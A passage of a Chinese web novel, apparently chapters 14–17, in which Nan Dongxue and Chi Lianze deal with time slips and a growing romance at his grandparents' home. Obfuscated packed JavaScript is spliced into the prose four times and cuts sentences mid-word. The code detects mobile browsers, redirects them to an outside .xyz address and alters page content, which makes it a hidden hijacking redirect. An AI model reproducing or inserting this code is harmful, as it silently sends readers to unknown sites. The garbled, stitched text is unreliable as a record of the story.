被拦住的夫妻二人对望一眼,互相确认对方的答案后,异口同声道,“没有,没看见。” 听到这个答案,南冬雪却愣住了,内心转念欣喜,完全没有了刚才的急切,而是像平常那样温柔有加,过度礼貌的继续问道,“可以帮忙看一下现在的时间吗?” 妻子刚刚正好在看手机,随即按亮屏幕,往南冬雪那边歪了歪,好让她亲自看见,同时回答着,“8点52.” “谢谢!”南冬雪目送两位好心人走出商场大门,默默地摸出了自己的手机,上面显示的是2025年1月3日。而那位路人的手机上显示的是2024年12月28日。 “这说明什么?”南冬雪对慢慢走到她身边的炽连泽说明了刚刚这一状况,“为什么刚刚我看不到我?为什么刚刚张梧桐他假装看不到我?是你在耍我吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“从现在开始,我是你的一把钥匙,南冬雪。” 炽连泽完全失了神,这让南冬雪深觉惶恐,抓着他的衣领摇晃,甚至去拍他的脸。炽连泽躲闪着,抓住了她的两只手,仰着头笑呵呵说,“啊呀啊呀,你这是干嘛呀?” “你中邪了吗?突然睿智的表情让人很害怕。”南冬雪气呼呼甩开炽连泽的手,看见他的憨憨傻傻表情,相信这才是他了。 “你觉得张梧桐为什么变成那个样子来吓你吗?”炽连泽接着思考,继续输出。“因为你害怕。” “这不废话吗?”炽连泽还是以前的炽连泽。 “因为知道你害怕,所以变成那样,你能懂我的意思吗?” 这次是南冬雪停下来看着炽连泽。他那没有半点智慧的脸上,此时正认真的分析着,竟然和智慧沾了一点边。 “我记得你说过,有一次看恐怖片,晚上梦见了那个怪物,是不是和张梧桐变化的一模一样?” 你为什么会想到这一点?你为什么会记得?这不可思议,连她自己都忘了。 她有很多疑问,只是看着炽连泽陌生的眼神,迫切地想要得到答案的问题都问不出来了。 “你觉得那是真的吗?人怎么能变成那个?是他变得吗?等我们回到正确的时间,我一定要找到他问清楚。”南冬雪独自嗫喏着,并不是说给炽连泽听的。 “他不是人。”炽连泽不仅听见了,而且再一次展现了不适合他的智慧,“时空穿越这种事都能发生,他不是人,你怎么会觉得不可能?” “但恐怖片里的怪物,你不觉得很牵强吗?”那已经是十多年以前的事情了。南冬雪清楚地知道她从来没有在张梧桐面前提过自己以前的任何事情。 炽连泽再一次为她提供了答案,“还有我十年前写给你的那封道歉信,你觉得这一切没有可能吗?南冬雪,有些事情需要我们一起找到答案。” 14. 月落乌啼 这一切太过天方夜谭。南冬雪仍然觉得不可思议。反观炽连泽,他好似一位玩家,快速的掌握了游戏规则,极有兴趣的沉迷其中。 在与课堂无关的事情上,炽连泽样样出众。 多年前的这句话,再次正中眉心。还是学生的时候,没有那么多的机会供炽连泽表现自己的能力,南冬雪尚能装糊涂,在他面前拥有优越感,两个人才能平等的成为朋友。现在这一刻,看到他的冷静,他的睿智,南冬雪的自卑心理逐渐占了上风。她几乎不能直视这个散发着耀眼光芒的上层人。 她挣扎许久,狼狈不堪,一抬头,那个人笑呵呵赞扬着世界的美好。她承认,自己是阴暗的。多年的学校教育未能改变她身为一个普通人的本性中的恶劣。 炽连泽当然不会理解。 然而就在这时,他抬起那只受伤的胳膊。南冬雪正不明所以想要看看他为何做出这么怪异的动作,下一秒便理解了其中含义。 炽连泽的掌心,赫然印着一朵海棠花,硕大,诱惑,娇艳欲滴,栩栩如生。 之前是没有的,她很确定。这下,南冬雪不得不相信这世上有一些人类尚未能够理解的怪事。要是这些事情传出去,会不会有人相信呢?扰乱社会秩序?引起不安?不合理的事情不能存在。 她忍不住捉住炽连泽的手,用手指仔细摩挲,在灯光下看得真真切切,再一次确定那是真的。 “我小时候梦见过。”南冬雪抬头看向炽连泽,正在思考的他实在让人觉得陌生和不安。以前的炽连泽简单的能够让人一眼看穿。“是不是很奇怪?” 海棠花后面的人是炽连泽的话,那个美妙的梦一下子就失去了梦幻感。 炽连泽什么话都没有说。用另一只手抓住南冬雪,印有海棠花的那只手做了一个推门的动作。炽连泽拉着南冬雪往前跨了一步,像是走出了一道门。 天上大雪纷飞,地面上已经积了薄薄一层白雪。南冬雪看了一眼手机:2025年1月3日21:35,正在下雪。远远望了一眼商场门口的时间,也是如此。 真的是这么回事?南冬雪心中惊喜,既然回到了正确的时间,管他发生了什么,一切已经回归正轨,她会继续重新开始自己的生活。 炽连泽如在梦里雾里,目光又清澈起来,来来回回看着自己干干净净的右手,不敢置信,又深以为傲,情难自抑的要拍不能拍南冬雪的肩膀,像个开心的猴子,原地打转。 “我是不是有神力了?你看见了吗?南冬雪?我们刚刚经历的那一切是不是真的?太神奇了吧?” “是啊是啊,很神奇,小点声,别让人听见了。” 周围路过的人投来好奇的目光。南冬雪默默的戴上帽子,把衣领往上拉,遮到鼻梁上。炽连泽忽然凝神,双手分别从左右轻轻扣住南冬雪的头,强迫她的眼睛看向自己。 “干嘛?”南冬雪不悦,扭头挣扎却不能。 炽连泽此时有些无助,连南冬雪也生了同情之心,暂且放下了对他行为越界的指责。 “你知不知道这是怎么回事?” “你刚才不是还很淡定吗?”被上身了吗?变化这么快?还是说他刚刚是装出来的从容镇定?那这个人岂不是太阴险了点。 “你那老公是怎么回事?他是什么人?他对我做了什么?南冬雪,要是我以后生活出现了麻烦,你要怎么负责?” 这个问题她倒是没想到,先考虑自己了。不过,她也无能为力吧。 “不是我老公,实际上我们没有任何关系。”南冬雪被自己的第一回应气笑了。在需要她付出代价的时候,也会这样阴险,连忙找补道,“那个……没有直接证据证明这都是张梧桐……不对,不能肯定就是他造成的……当然啦,你要是有麻烦,我会帮你的。不过我觉得应该不大可能了。你别这么担心,现在我们各回各家,我觉得只要我们两个不凑到一起,绝对不会出现今天这样的事情。” 害得炽连泽从生死边缘走了一遭,他肯定也很后怕吧?南冬雪觉得愧疚,但她实在没有能力去弥补。如果换作是他的话,会怎么做呢? 或许是因为不够了解,南冬雪的换位思考,从来没有得到过答案。 炽连泽哀伤的,幽怨的,把两只手收回来,没有受伤的左手踹进兜里,低头看着脚下的一颗鸡蛋大小的石头,用脚踩着踢着,时不时歪头看南冬雪一眼。 刚刚还气势冲冲的直视,现在又不敢面对了? “那意思就是说,你们只是同居?” 语调上扬,如同爬坡,柳暗花明之时,陡然下沉,原来面前是跌落悬崖。 脸上庆幸的笑,在后半句话说出来时,陡然变成了不开心的苦笑。谁都能猜到他的思绪在这短短的一句话时间里发生了什么样的转变。 没结婚,那太好了。可是像夫妻一样住在一起,会做这样那样的事情吧? 脑子里不由自主的想象了一堆难以启齿的画面,再看看面前的南冬雪,炽连泽拍了一巴掌自己的脑袋,弄疼了自己的伤口,恰好将思绪拉回正轨,接着想到可怜他还从未有过亲密关系。 以前有很多女生围在他身边,他也曾试图交往过几个人,但是都止步于坐在一起后,以即将成为男女朋友的心态开始第一次长时间聊天。很快,他发现自己无法忍受她们的某一个很细小的吃东西的习惯,或者说出来的一句话,又或者是她毫无遮掩的、看向自己时那陌生的、充满某种感情的眼神……这些细节在他们成为朋友之前,炽连泽从来没有注意过。 “是啊!怎么了?”南冬雪的声音充满挑衅。 炽连泽一下子撇弃了害羞和尴尬,憨笑着哄人,“没怎么,没怎么,您厉害呢!教教我呗!” 两个人的联系到此结束,正正好。南冬雪觉得,炽连泽这个人本性难改,他会自己哄自己,解决麻烦,永远快快乐乐的活着,要她负什么责任呢? “教你什么?神经病!”南冬雪越是皱眉头,炽连泽越是兴奋一样,跟在她身后哈哈笑。 “你跟着我干什么?我要回家了。”南冬雪快步往前走,炽连泽毫不费力的迈着大步紧紧绕在她身边。这让南冬雪觉得压力重重,更是不满和这个人有任何的交往。 “你刚刚说我要是有麻烦了你会帮我,我忽然想到了一个好办法。你别不听,我们俩现在可是一条船上的蚂蚱。”炽连泽在南冬雪左侧前方倒退着走路,尽管速度很快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048416|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他优哉游哉,根本不去考虑这样是不是很危险。 南冬雪只好放慢脚步,他也跟着慢下来,要是绊倒了,受伤至少轻一点。 炽连泽继续沉浸在自己的世界里,自信放光芒,“你想,要是我又像刚才那样自己一个人回到了过去的时间,没有人发现,也没有人知道这是怎么一回事,我该怎么办?” “那你想怎么办?”先假装答应满足他的小小愿望,然后哄他离开,之后要怎么做她随心所欲。南冬雪如是想着。 “每天早晨和晚上都得给我发个消息,当然了,打个电话那是最好不过了,问问我是否安全,有没有遇到什么麻烦,有没有吃饭,心情好不好之类……” “问你有没有吃饭,心情好不好,这就很过分了吧?”为了避免他再啰嗦,南冬雪忍下了一口气,“好吧好吧,你说怎么样就怎么样,我要回去了,你应该往那边走吧?再见!” 此时已经能够看见小区大门了,南冬雪说完,朝着大门的方向开始狂奔。炽连泽没能反应过来,对着南冬雪远去的背影大喊,“我话还没说完!” 他想说,“要不我们在一起试一试吧?像成年人那样。” 他想说,“我发现自己有点喜欢你,你是不是也一样?” 他想说,“同居的对象到底是什么人,为什么会出现时间倒退这样的事情,我会和你一起去探索。愿不愿意相信我?” 前两句不合时宜,最后一个想法总该能够得到认可吧?南冬雪到底为什么总是不喜欢他?十多年前如此,现在依然如此。明明说过他很优秀,为什么对待他总是一副勉为其难的样子? 炽连泽回想起烟花绽放之时,他把南冬雪护在身下的某一个瞬间。烟花在他背上炸开,他似乎看到了一些东西。 看到了自己承受那个痛击的画面。他也看到了自己被照亮的记忆宫殿。在那里,他看到了自己曾经的种种。 他是痛苦的。南冬雪递给他一本书,说,“书能帮助你领悟到如何克服内心的痛苦。” 他没能在书里找到答案,也度过了那段难熬的日子。 后来他仔细的看过那本书很多遍,但是至今为止,仍然未能从中领悟到南冬雪所说的那句话。 直到过了很多年,再次看到南冬雪,是在看到她痛哭的样子时,炽连泽突然开窍了。他顿时明白过来,曾经克服痛苦的方式,不是在书里学到的,而是南冬雪这个人。 因为南冬雪接受了一种他刚刚好能给予的东西,这种付出治愈了他。 这一次,会不会得到同样的效果? 炽连泽慢悠悠朝南冬雪的小区门口走去。他觉得自己从来没有像现在这样睿智过,似乎走进了圣人的精神世界。 此时南冬雪已经进去小区有三五分钟了。 门口的保安大哥静静地拉开门,冷冷看着炽连泽,周身的防御和威胁自随他的无声沉默疯狂长起来。 “我今天在这里等人,她肯定会出来的。”炽连泽悠然转身,背对大门,站在雪地里静静等待。 他仰起头,一片片雪花从黑暗幽深处掉落下来,贴在他的脸上、睫毛上,一丝丝凉意让他认识到自己是一个感情还算丰富的笨蛋。 15. 灯火阑珊 十分钟之后,门内依然没有动静。 保安再次打开了门,朝炽连泽喊,“进来等吧,这里暖和。” 炽连泽跺着脚,回头朝小区内主干道上确认了一眼,有些心灰意冷。他踏上台阶,把身上和脚上的雪抖落干净,正要转身走进屋内。保安又拦住了他,炽连泽生气但无奈,张开的嘴巴紧紧闭上。 “不是,你看,人家没打算找你。” 保安大哥下巴一扬,炽连泽这才意识到什么,扭头一看,南冬雪正鬼鬼祟祟从他眼前离开。 “多谢多谢!”炽连泽急吼吼道谢,去追南冬雪,声音消散在越来越大的雪中。 两人的身影越来越远,保安回到暖和的房间里,觉得这小两口真是有意思,小孩儿一样。不过怎么好像觉得哪里不对劲?明明他第一次跑来这里的时候,还是不久前,被他挡住了,为什么会记得他们两个成双入对已经很久了呢?而且,男主人不是有权限可以进去吗?他为什么不进去? 是出现什么变故了吧?保安大哥找到了合理的解释,继续一边工作,一边听着自己的戏,一切正常。 有住户联系了保安,说刚刚有人试图打开他们家的门,有人前去查看,总控室调出楼道监控,解释说,仅仅是楼上住户走错楼层了而已。 一切正常。 “南冬雪,你跑什么?”炽连泽追上去的时候,南冬雪已经放慢了脚步。 她是想躲开有人的地方,并不是有意回避炽连泽。 南冬雪突然停下来,戒备的看着炽连泽,“你为什么会在这儿?不是叫你回家吗?” “你刚刚又……”欲言又止,“怎么回去了又出来了?” “你知道吗?”南冬雪逼问。 炽连泽看着她的眼神有些心慌,一副即将撒谎的表情,故作傻白甜的反问,“知道什么?” 南冬雪看得明白,但懒得和他计较,“刚刚我回家,家里已经有一个我了。” 她在害怕。因为担心另一个自己也害怕,所以她在听到自己“是谁”的声音之后,立马逃走了。出来的路上,她意识到自己一个人应对这种情况是多么无助。她想起炽连泽说的,“我们现在是一条船上的蚂蚱”,尽管她不愿意,但是她很擅长向现实低头。 “你看吧,危险还没有远离。”炽连泽幸灾乐祸,点到为止。要是再多说几句,绝对会把她给气走。“去住酒店的话,可能会被别人发现有两个你,要不去我家住一晚,怎么样?” 南冬雪难以置信的抬头看他,提出这个建议的人会存着怎样不轨的心思呢?正当炽连泽开始绞尽脑汁寻找借口的时候,听见她说,“好吧。” “放心,我爷爷奶奶也在。他们过来看我,会住上一段时间。”为了让南冬雪不会觉得他是有什么目的才想要把她骗进他家里去,炽连泽这才想到爷爷奶奶。他可是受够了爷爷奶奶的唠叨,只希望父母能够尽快回家来带着两位老人家到乡下去安度晚年。 南冬雪却停下了脚步,面露难色,“那我还是不去打扰了吧!” 有一个炽连泽已经够了,她不想去面对更了解自己过去的两位老人。不仅是在炽连泽面前,在炽家全家人面前,南冬雪觉得自己抬不起头来。这种心思,谁都不知道,要是说出来,肯定又给她的形象添上供人耻笑的一笔。 炽连泽夸张的“啊”了一声,一边劝说,一边强硬的伸手把南冬雪一揽,伸手拦车,把她推进车里,动作行云流水,一气呵成。 要是被绑架了,根本毫无还手之力。南冬雪愣愣地坐在车里,这么想着。 那边炽连泽还在絮絮叨叨,抽空给司机报了个地址,继续说,“你不知道我爷爷奶奶有多喜欢你,那时候恨不得把你养在自己家里,你都忘了?过了这么久,你竟然一次都没有回去过,对得起老人家吗?” 道德绑架确实有效。南冬雪乖巧的坐着,开始做心理建设,忍不住怨苍天,事情怎么就发展成这样?要是没有遇见炽连泽……都这么多年不见了,怎么会突然就遇上了?要是张梧桐没有失踪……要是没有和张梧桐开始恋爱关系…… 一环套一环。每一件事情,南冬雪都不愿意再经历一遍。根本没有幸福可言。 “哎,我没说你怎么样,就是顺口一说,别在意。”在炽连泽眼里,南冬雪是在自省。他担心南冬雪多想,紧接着调侃道,“不会别人一说你不好,你就要改正吧?这话我好像说过好几次了!南冬雪,你现在还是这样吗?你这么厉害,谁有资格批评你呢,对不对?你方方面面都是超级好的,完美无缺……” 司机突然“噗嗤”一声,忍不住的笑声打断了炽连泽的话。 “对不起,对不起,我没有别的意思。你们吵架了?今天这雪可难得,好多年轻人都去吃火锅庆祝今天下雪了,要是因为吵架浪费了这难得一见的好时光,那多不划算啊,是不是?” “对啊对啊,你看大叔说的多有道理。”炽连泽看见南冬雪在瞪眼,手足无措的躲开她的死亡凝视,“南冬雪你就别生气了。对了,我得给我奶奶打个电话……喂,奶奶,我没事了,现在正要回家呢,我还带了一位客人回来,一会你见了就知道是谁了……” 炽连泽的家在西郊别墅区,依山傍水,每栋小楼享有一亩大的花园。曲径通幽,周围看不见其他屋子的灯火,柳暗花明峰回路转之处便见一栋欧式风格的小楼。门前挂着两盏红彤彤的灯笼,楼上彩灯闪烁,与人间风雪相得益彰。 炽连泽打开一个门缝,探身进去观望观望再退回来,把门打开,做出“请”的姿势。南冬雪走到门中,看见一位颇具富态的银发老太太小跑着过来了,身后跟着一位头发同样银白且茂密的老先生。 两位老人身形皆属于强壮的那一类,南冬雪在这一家人之间,就像个被养在院子里的鸡。 “奶奶。”南冬雪心中有愧,路上想买点儿见面礼也被炽连泽拒绝了。 离开家那天,这位老太太还塞给她五百块钱。在那个年代,相当于一笔巨款。受了人家的恩情,后来却没有上门去道谢,实在不应该。那时候老人七十一二的年纪,现在已经八十多了。幸好,他们看起来精神很好。 “这是……”老太太微微思考了一会儿,绽开笑颜,“啊呀……这是芳芳家的孙女,冬雪呀!老头子,你看看,小姑娘长大了。冷吗?快快进来。哎呦,我们可是看着你长大的,刚出生时小小的那么一点,还是你奶奶半夜把我叫起来去给你妈妈接生的……” 芳芳是南冬雪的奶奶的名字。果然,南冬雪被迫开始了回忆。 这种感觉很奇妙。她的出生和成长,被一个人记录着。 两位老人家拉着冬雪在餐桌旁坐下,盛饭夹菜,嘘寒问暖,连他们那受着伤的孙子都忘了。确实如炽连泽所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049976|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们还是像以前一样喜欢她。幸好,过往的回忆也到此为止,也幸好,两位旧时代的知识分子仍然没有染上他们生活环境中的恶习,只说了一些好的事情,绝不会让人觉得难堪。 和这样的人家相处,她应该觉得舒服才对。 不过,为什么?南冬雪不敢接受。以前疯狂的想要寻找一个理由,是因为她聪明、学习成绩优异,还是因为她家穷困,有一个离家出走的妈,一个烂赌城性、不思进取的酒鬼爸,一个老得快要入土的奶奶,还要养孙女?像他们那样的人,为什么要帮助自己这样的家庭呢? 一个有钱又有爱的家庭,南冬雪并不适应这样的环境,连吃菜也只敢夹自己眼前的那盘菜。对别人的夸奖,只有赔笑的份。这样的她,为什么会被这家人喜欢? “在哪里工作?做什么工作?”奶奶问。 “一家翻译公司做些文件翻译工作。” 当初被人们以为是文曲星转世的孩子,长大之后连一份稳定的工作也找不到,肯定会被笑话吧。 炽连泽只顾着在一旁剥虾。 “你喜欢做这份工作吗?”奶奶接着问。 这还是除了张梧桐之外,第一次有人问她是不是喜欢自己的工作。工作是为了赚钱,还是为了开心?南冬雪以前不敢奢望能够开心,后来疯狂的想要自己能够开心。 “很喜欢。”南冬雪在这个家里第一次露出了真实的、舒心的笑容,话也多说了几句,“我的同事们都十分热情、心肠好,我的老板是位女博士,业务能力一流,对员工也超好,她的管理方式是放养式的,工作氛围轻松自在,大家也都很努力。” 说完,南冬雪又觉得不恰当。她一段话里面用了那么多个“很”字,显得没有文化,真是有愧于老人家对她的希望。 “喜欢就好。最重要的就是开开心心。” “嗯,对。工作嘛,现在发展好了,不像我们那个时候得拼命工作才能保住一家人的口粮。现在年轻人,应该多走走,多看看,开阔眼界,不是提倡‘以人为本’吗?精神愉悦很重要……” 老先生接话,被奶奶打断,“少对孩子指指点点,你多喝点汤。” 真是思想时尚的一对老人。 炽连泽把剥好的虾放到南冬雪面前。南冬雪受宠若惊,几人同时解释劝吃。 “爷爷奶奶不吃这个,他们应该要喝点儿海鲜粥。” “你吃,我们吃不了这个。” “听说有客人要来,我们连忙做了几个菜,泽泽也真是,应该早点说。” 桌上一道清蒸大虾,一盘蒸芋头,还有麻婆豆腐和清炒油麦菜,主食是米饭和海鲜粥,汤是熬了很久的乳鸽汤。除了粥和汤,其他菜看得出来都是新做的。家里没有其他人的影子,真是辛苦两位老人了,南冬雪心想。 奶奶话头一转,脸上露出慈爱的笑容,眼神里的期待亮晶晶的闪烁着,“你们两个是在一起了吗?” 炽连泽看笑话似的看了南冬雪一眼,快速扭过头去,隐藏自己的不合适情绪。 “没有,奶奶,我已经结婚了。”南冬雪敞亮的说。 “什么?什么时候?”炽连泽的奶奶打了孙子一下,“你们什么时候结婚了?怎么没告诉我?” “陈老师,你别激动。”老先生对太太说,“孩子的意思是她和别人结婚了,你就别乱说话了。” 16. 流星拂晓 饭后,炽连泽的奶奶和爷爷拉着南冬雪在客厅聊天,先是问南冬雪的结婚对象是个什么样的人。实际上在她的世界之外,张梧桐是一个什么样的人,南冬雪一点儿也不清楚,只含糊的回答说是个很温和的男生。后来又问她这些年的生活,南冬雪提起林森和妙华,讲起有关他们的故事比张梧桐的事要滔滔不绝的多。 炽连泽被勒令在厨房里洗碗。他一边干活,一边注意着客厅的动静,把南冬雪的话听得一清二楚。 他做完厨房的事,又被奶奶支使着一起去帮南冬雪安排房间。 炽连泽不情不愿,“不是有干净的房间吗?阿姨每天都有打扫,直接住就是了,需要收拾什么?” 南冬雪连忙帮腔,“奶奶,不用麻烦,我随便睡一觉就行。要不,炽连泽,要不我还是回去好了。” 尽管三位炽家人都把她当作亲爱的家人,但南冬雪在这个不适合她的地方始终无法做到轻松自在,“就像自己家一样”。 “好好好,我去收拾。” 不知是在向他奶奶妥协,还是因为南冬雪的话妥协了。 “你看看你,冬冬好心送你回家,你这么多年还是这样坏脾气。”奶奶对着正从她面前上楼去的孙子腰部轻轻拍了一下。 炽连泽回头不置可否的命令南冬雪,“你也过来。” 这句话又挨了一下奶奶的打。 刚刚被问起他们两个人是怎么遇见的,又是怎么这么晚一起回家,南冬雪一时没能想好谎话,又担心被炽连泽当场反驳,丢了面子,看了正路过的炽连泽一眼,他如梦初醒,手里端着水果盘停下来,“哦”了一声,说,“工作时候遇上的,今天在医院恰巧碰见,她看我一个人在那,很不方便,就说照顾一下我,我说你们也在这儿,她想来看看爷爷奶奶,和你们聊聊天。” 客卧里原本黑白灰的风格很快被换成了粉粉嫩嫩的甜美风,南冬雪站在床边,不忍心破坏这如梦似幻的一个空间。 身后的奶奶又拿过来一个超级大的□□熊,放在被窝里,原本宽大的双人床只剩下仅容一人平躺的空间。 南冬雪惊喜之情忍不住外溢,“怎么会有这个?难道……” 难道是炽连泽喜欢女孩子的这些东西?还是说他之前的女朋友留下来的?这样的话,未免太过侮辱人了。如果是这样,她可不要与它同床。这些情绪,她当然会深深埋在心底,扮演好一个安静温柔体贴又懂事的女孩子形象。 炽连泽“噗嗤”一声笑,碍于奶奶还在场,想要收敛一些但实在收敛不住,半捂着嘴巴边笑边对南冬雪说话。那笑容反而像是在嘲笑她这么大人了还需要抱着小熊睡觉。 “你是不是想说难道这个玩意儿是哄我睡觉的东西?哈哈……南冬雪,看你眼睛都直了,明明是你喜欢,还想笑话我!哈哈……哈哈……以为别人看不出来吗?” 炽连泽看见奶奶拿来了鸡毛掸子,连忙跑到了南冬雪身后,缩起身体,寻找庇护。南冬雪故意闪开来,那鸡毛掸子直勾勾敲到了炽连泽的头上。 “多做事,少说话。”奶奶教训着,指使孙子把换下来的床单被套等物拿出房间去。 炽连泽离开之前,脑袋朝后仰着,对南冬雪留下一句话,“放心吧,它是全新的,奶奶让我买来布置一个女孩的房间,说是会给我招来桃花运,没想到先送给你了。你别多想,改天我把它送你家里去,别人没用过,以后也不会给别人用。” “你在说什么啊?”雾蒙蒙中,他赤裸裸戳中了她的心事。南冬雪把人赶出去,连忙关门,安静的环境里,心脏“砰砰”直跳的声音通过门传进大脑。 她不知道该怎么办。 只要有一个人对她好,她就会动心。表面上冷漠、理智,实际上一颗糖就能把她骗走。越是缺少什么,就越渴望什么。 她说自己有异性恐惧症,不仅是异性,连同性也是如此,她没有勇气去走近别人的生活,正常的交朋友。只要有一个人主动的靠近她,了解她,对她说些好话,她就产生了一种为其倾覆所有,不惜受伤的冲动。 这样的事情,不止一次。林森和妙华算是一次,幸好她运气好,将心比心换来了真正的朋友。张梧桐算是一次,在他之前,还有一个人。 只要还没有得到,还没有厌倦,她会永远的、没有句点的继续陷入这种痛苦中去。 炽连泽对她来说,是人生的遗憾。她羡慕他,嫉妒他,想要过着他的生活,拥有他的一切。 对于这样的存在,爱情产生的契机犹如浩瀚星空里的一颗尘土。炽连泽越是对她表现出他的美好一面,她内心的邪恶欲望越是疯长。 南冬雪克制自己混乱的思绪,洗漱一番过后,发现房间里只有男款的系带式珊瑚绒睡衣,她思考了两秒,觉得炽连泽肯定会把方方面面的事情思虑周到,便不那么多心了。换上睡衣后,躺在□□熊的身边,终是忍不住狠狠抱着它,闭上眼睛,想象着自己拥有这样一只大熊是什么样的幸福感觉。 小时候没有,一直都没有。她以为自己会干巴巴的讨着生活一天天老去,直到遇见张梧桐。第一次见面那天,分别之时,他送了她一只粉红色的小熊,说,“希望明天还能见到你,这是我的邀请函。” 忽然楼下一声巨大的异响,打断了南冬雪的回忆。她走出房门,远远看见炽连泽正从楼梯上爬起来,身边是一把翻到的椅子。他是想去挂窗帘,结果一脚踩空,摔在了楼梯上,旧伤加新伤。炽连泽把衣袖卷起,左臂上慢慢开始渗出血迹。 他身上正穿着她的同款睡衣。 南冬雪来不及为此尴尬,连忙跑下楼,炽连泽不冷不热的抬眼看了看她,什么都没有说,侧着身体从她身边经过,独自往楼上去。 “哎你不处理一下伤口吗?” 看惯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059285|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炽连泽嬉皮笑脸、傻乎乎的样子,他平静的时候,南冬雪觉得他和别的异性没什么两样,不敢惹。 他靠在楼梯扶手上,微微侧身,居高临下,无喜无怒的目光冷冷淡淡落在南冬雪身上。 “你要帮忙吗?你会吗?你知道用什么药吗?” 她不知道。她小时候磕破了手指,血流不止,只知道死死按住,这样能减轻疼痛感。血流着流着,伤口自然会凝结。后来才知道可以用创可贴。 她以为炽连泽真的很傻,只懂得光明磊落、向上生长的那一套人情世故,没想到他也透彻黑暗,会阴险的一针见血,让人心痛。 南冬雪无言。 炽连泽往下走了两级楼梯,离南冬雪近了一些。 然而他高高在上,审视质问的气势丝毫未变。 “你不是结婚了吗?帮我处理伤口,你心爱的老公不会吃醋吗?”低垂的眼眸抬起,纯真中带着几分调皮,常常上扬的嘴角也随之动作。 他在笑。笑中透着几分苦涩。 “我在干什么?”炽连泽仰起头,向后扭过去,抬手抹了抹,假装无事发生,“对不起,我是不是太任性妄为了?” 任性妄为。等于自由。 这些熟悉的字眼,很容易便把南冬雪的思绪带回到十多年前去。和炽连泽无关。老师当着全班同学的面批评炽连泽“任性妄为”的时候,脸上的表情明显是喜欢的、偏爱的。中年女老师喜欢这种富有活力的、玩笑有度的调皮,如果不是因为某些规章制度,她肯定会大肆赞扬他的行为。 她也想任性妄为,只可惜多次尝试只是得到了苦果。 同为人,不同命。 南冬雪踏上三层台阶,平视着炽连泽的眼睛。 这样的四目相对,本应从中得到更加亲密的关系,但南冬雪觉得对方陌生,盯着他的眼睛,无法看透——了解透彻对方的内心之后,仍然陌生,甚至比不上朝夕相处很久之后达到的熟悉程度。她不去想以前,也不去想未来,不考虑任何事情,便无所谓道,“表叔这是在自己家里,想怎样任性就怎样任性,谁能管得着呢?” 她的无畏也只够她坚持到把这句话说完。眼看着炽连泽的表情由自艾自怜的苦涩变得肃然,南冬雪连忙逃跑,果然,炽连泽追了上来,大嗓门毫无顾忌的喊道: “你是不是没明白我的意思?南冬雪,我是想问你,你仍然对奶奶说你结婚了,是不是在拒绝我?你这么聪明,难道不懂我的意思吗?事到如今你还装什么已婚人士?你给我个答案!南冬雪,谁才能入得了你的眼?你是不是看不起我?我哪里不好了?我气死了你知道吗?” 南冬雪双手捂住耳朵,扭头朝炽连泽做了一个表现她感到恶寒的鬼脸。 楼下奶奶站在客厅中央,看着楼上的两人,一个正在回房间,一个紧随其后,大声嚷嚷,便问说,“你们在吵什么?” 17. 在水中央 和南冬雪同眠一晚的大熊果真在第三天被送到了她的家里。在炽连泽家留宿过后第二天,回到自己家里,她因为种种无法言明的情绪心乱如麻,已经整整三天没有出门了。 每天坐在沙发上,看着日出日落,困了就在沙发上睡觉,饿了渴了就吃一点面包和水。 当她家的门铃声响起的时候,南冬雪从梦中惊醒,呆呆地静等了一会儿,正准备默不作声装作家里没人,继续入睡的时候,门铃再次响起。 她起身去开了门。 当送货员看见面容枯槁、精神萎靡的南冬雪时,显然吓了一跳。但他职业素养过关,很快的完成自己的任务,“南女士是吗?请签收一下。” 那是一个和她差不多高的纸箱子。南冬雪打开一看,是经过抽真空处理包装起来的□□熊,第一时间想到的是:他怎么知道她家的具体门牌号? 南冬雪从窗户往下望出去,正看见一辆熟悉的车,坐在驾驶位的人挥了挥手。但她看不清里面那人的面孔。 接着,她收到了一条信息。 手机在沙发底下震动了两秒。 南冬雪把手机掏出来一看,是炽连泽:要不要出去玩? 要不要凑合一起过? 她并非没有听见这句话。张梧桐在前,她还没有心思去面对下一份爱情。张梧桐连带着她对他的爱意一起破碎之后,各方而来的潮水混杂在一起。她重新站在了十字路口。 当她的面前只有炽连泽,并且要与其进行单独对话的时候,她不得不认真对待。 和他站在一起成为亲密的人,这种事情南冬雪并非没有幻想过。所以那只是在幻想中才能够实现的事情。当这个人亲口说出这句话的时候,南冬雪第一反应是害怕。 为什么?她凭什么? 在泥潭里挣扎的人,为什么会被月亮眷顾?她从未了解月亮,只知道自己的周围一片黑暗。 